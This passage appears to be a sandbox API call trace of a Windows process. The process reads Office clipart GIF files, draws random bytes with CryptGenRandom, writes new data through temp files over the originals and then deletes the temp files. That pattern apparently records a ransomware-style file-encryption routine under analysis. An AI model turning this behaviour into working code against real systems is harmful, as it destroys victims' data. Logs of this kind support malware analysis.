	[0279.307] WriteFile (in: hFile=0x0, lpBuffer=0xc000140000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1)) returned 1
	[0279.308] WriteFile (in: hFile=0x0, lpBuffer=0xc000140000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.308] WriteFile (in: hFile=0x0, lpBuffer=0xc000140000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.308] WriteFile (in: hFile=0x0, lpBuffer=0xc000140000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.308] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0279.308] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0279.308] GetFileType (hFile=0x120) returned 0x1
	[0279.308] GetFileType (hFile=0x120) returned 0x1
	[0279.308] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0279.308] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0279.308] ReadFile (in: hFile=0x120, lpBuffer=0xc000146000, nNumberOfBytesToRead=0xeb3, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000146000*, lpNumberOfBytesRead=0xc0001e5b04*=0xcb3, lpOverlapped=0x0) returned 1
	[0279.348] ReadFile (in: hFile=0x120, lpBuffer=0xc000146cb3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000146cb3*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.348] CloseHandle (hObject=0x120) returned 1
	[0279.348] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000923a0 | out: pbBuffer=0xc0000923a0) returned 1
	[0279.349] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d2c0 | out: pbBuffer=0xc00028d2c0) returned 1
	[0279.349] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8201 | out: pbBuffer=0xc0002a8201) returned 1
	[0279.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.350] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0279.350] GetFileType (hFile=0x120) returned 0x1
	[0279.350] WriteFile (in: hFile=0x120, lpBuffer=0xc000147000*, nNumberOfBytesToWrite=0xdb3, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000147000*, lpNumberOfBytesWritten=0xc0001e5bec*=0xdb3, lpOverlapped=0x0) returned 1
	[0279.352] CloseHandle (hObject=0x120) returned 1
	[0279.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.355] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.355] GetFileType (hFile=0x120) returned 0x1
	[0279.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.356] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.356] GetFileType (hFile=0x1b4) returned 0x1
	[0279.356] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000148000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000148000*, lpNumberOfBytesRead=0xc0001e5bd4*=0xdb3, lpOverlapped=0x0) returned 1
	[0279.356] WriteFile (in: hFile=0x120, lpBuffer=0xc000148000*, nNumberOfBytesToWrite=0xdb3, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000148000*, lpNumberOfBytesWritten=0xc0001e5b74*=0xdb3, lpOverlapped=0x0) returned 1
	[0279.358] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000148000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000148000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.358] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e")) returned 0
	[0279.358] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e")) returned 0
	[0279.358] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e")) returned 0x20
	[0279.359] CloseHandle (hObject=0x1b4) returned 1
	[0279.359] CloseHandle (hObject=0x120) returned 1
	[0279.359] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15a91c695b4f4f957c8081e7feb1073e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15a91c695b4f4f957c8081e7feb1073e")) returned 1
	[0279.380] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.380] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.381] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0279.381] GetFileType (hFile=0x19c) returned 0x1
	[0279.381] GetFileType (hFile=0x19c) returned 0x1
	[0279.381] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0279.381] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0279.381] ReadFile (in: hFile=0x19c, lpBuffer=0xc000248500, nNumberOfBytesToRead=0x2006, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000248500*, lpNumberOfBytesRead=0xc0001e9b04*=0x1e06, lpOverlapped=0x0) returned 1
	[0279.544] ReadFile (in: hFile=0x19c, lpBuffer=0xc00024a306, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00024a306*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.544] CloseHandle (hObject=0x19c) returned 1
	[0279.544] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0280 | out: pbBuffer=0xc0000c0280) returned 1
	[0279.544] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0002b2760 | out: pbBuffer=0xc0002b2760) returned 1
	[0279.545] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c301 | out: pbBuffer=0xc00023c301) returned 1
	[0279.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.545] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0279.545] GetFileType (hFile=0x19c) returned 0x1
	[0279.546] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000d0000*, nNumberOfBytesToWrite=0x1f06, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000d0000*, lpNumberOfBytesWritten=0xc0001e9bec*=0x1f06, lpOverlapped=0x0) returned 1
	[0279.547] CloseHandle (hObject=0x19c) returned 1
	[0279.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.552] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.552] GetFileType (hFile=0x19c) returned 0x1
	[0279.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.553] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.553] GetFileType (hFile=0x1b4) returned 0x1
	[0279.553] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x1f06, lpOverlapped=0x0) returned 1
	[0279.553] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x1f06, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc0001e9b74*=0x1f06, lpOverlapped=0x0) returned 1
	[0279.554] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.554] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d")) returned 0
	[0279.555] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d")) returned 0
	[0279.555] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d")) returned 0x20
	[0279.555] CloseHandle (hObject=0x1b4) returned 1
	[0279.555] CloseHandle (hObject=0x19c) returned 1
	[0279.556] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a62762bfab8dae0f79302de1f3c8231d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a62762bfab8dae0f79302de1f3c8231d")) returned 1
	[0279.558] SetEvent (hEvent=0x17c) returned 1
	[0279.558] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0279.675] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0280.316] VirtualFree (lpAddress=0xc006ef6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0280.317] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0280.525] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x46, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0280.623] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0280.885] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0280.999] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0280.999] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0280.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0280.999] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0281.000] GetFileType (hFile=0x19c) returned 0x1
	[0281.000] GetFileType (hFile=0x19c) returned 0x1
	[0281.000] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0281.000] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0281.000] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f8000, nNumberOfBytesToRead=0x155b, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002f8000*, lpNumberOfBytesRead=0xc0001e9b04*=0x135b, lpOverlapped=0x0) returned 1
	[0281.029] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f935b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002f935b*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0281.029] CloseHandle (hObject=0x19c) returned 1
	[0281.029] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000928e0 | out: pbBuffer=0xc0000928e0) returned 1
	[0281.029] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d620 | out: pbBuffer=0xc00028d620) returned 1
	[0281.029] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8901 | out: pbBuffer=0xc0002a8901) returned 1
	[0281.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0281.030] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0281.030] GetFileType (hFile=0x19c) returned 0x1
	[0281.030] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000d5500*, nNumberOfBytesToWrite=0x145b, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000d5500*, lpNumberOfBytesWritten=0xc0001e9bec*=0x145b, lpOverlapped=0x0) returned 1
	[0281.032] CloseHandle (hObject=0x19c) returned 1
	[0281.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0281.036] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0281.036] GetFileType (hFile=0x19c) returned 0x1
	[0281.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0281.036] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0281.036] GetFileType (hFile=0x1b0) returned 0x1
	[0281.036] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x145b, lpOverlapped=0x0) returned 1
	[0281.036] WriteFile (in: hFile=0x19c, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x145b, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0001e9b74*=0x145b, lpOverlapped=0x0) returned 1
	[0281.038] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0281.038] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a")) returned 0
	[0281.038] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a")) returned 0
	[0281.039] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a")) returned 0x20
	[0281.039] CloseHandle (hObject=0x1b0) returned 1
	[0281.039] CloseHandle (hObject=0x19c) returned 1
	[0281.040] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b572ccce8db60a6ad933480f6c30045a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b572ccce8db60a6ad933480f6c30045a")) returned 1
	[0281.043] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x41, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0281.380] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x77, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0281.554] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x69, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0281.767] SetEvent (hEvent=0x17c) returned 1
	[0281.767] SetEvent (hEvent=0x190) returned 1
	[0281.767] VirtualFree (lpAddress=0xc006ee4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0281.768] GetQueuedCompletionStatusEx (CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x5b, fAlertable=0) 

Thread:
	id = 62
	os_tid = 0xfbc


Thread:
	id = 63
	os_tid = 0xfc0

	[0226.567] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ffe60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ffe60*=0xdc) returned 1
	[0226.567] VirtualQuery (in: lpAddress=0x70701ffe80, lpBuffer=0x70701ffe80, dwLength=0x30 | out: lpBuffer=0x70701ffe80*(BaseAddress=0x70701ff000, AllocationBase=0x7070000000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0226.567] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.581] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.629] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.669] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.709] SetEvent (hEvent=0xf0) returned 1
	[0226.709] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.747] SetEvent (hEvent=0xf0) returned 1
	[0226.747] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.782] SetEvent (hEvent=0xf0) returned 1
	[0226.783] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.818] SetEvent (hEvent=0xf0) returned 1
	[0226.818] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.844] SetEvent (hEvent=0xf0) returned 1
	[0226.844] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.862] SetEvent (hEvent=0xf0) returned 1
	[0226.862] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.871] SetEvent (hEvent=0xf0) returned 1
	[0226.871] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0226.875] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0226.876] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x124
	[0226.876] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x12c
	[0226.876] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0226.967] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0226.979] SetEvent (hEvent=0xf0) returned 1
	[0226.979] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0227.052] SetEvent (hEvent=0xf0) returned 1
	[0227.052] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0227.782] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0227.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0233.251] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0233.251] SetEvent (hEvent=0xf0) returned 1
	[0233.251] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0233.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0233.305] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
